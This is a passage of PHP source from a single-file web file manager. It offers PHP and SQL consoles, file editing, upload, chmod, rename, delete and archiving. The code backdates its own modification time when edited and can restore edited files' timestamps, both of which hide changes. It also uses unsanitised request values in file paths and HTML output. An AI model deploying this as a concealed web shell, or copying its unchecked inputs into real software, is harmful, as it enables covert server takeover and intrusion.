<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
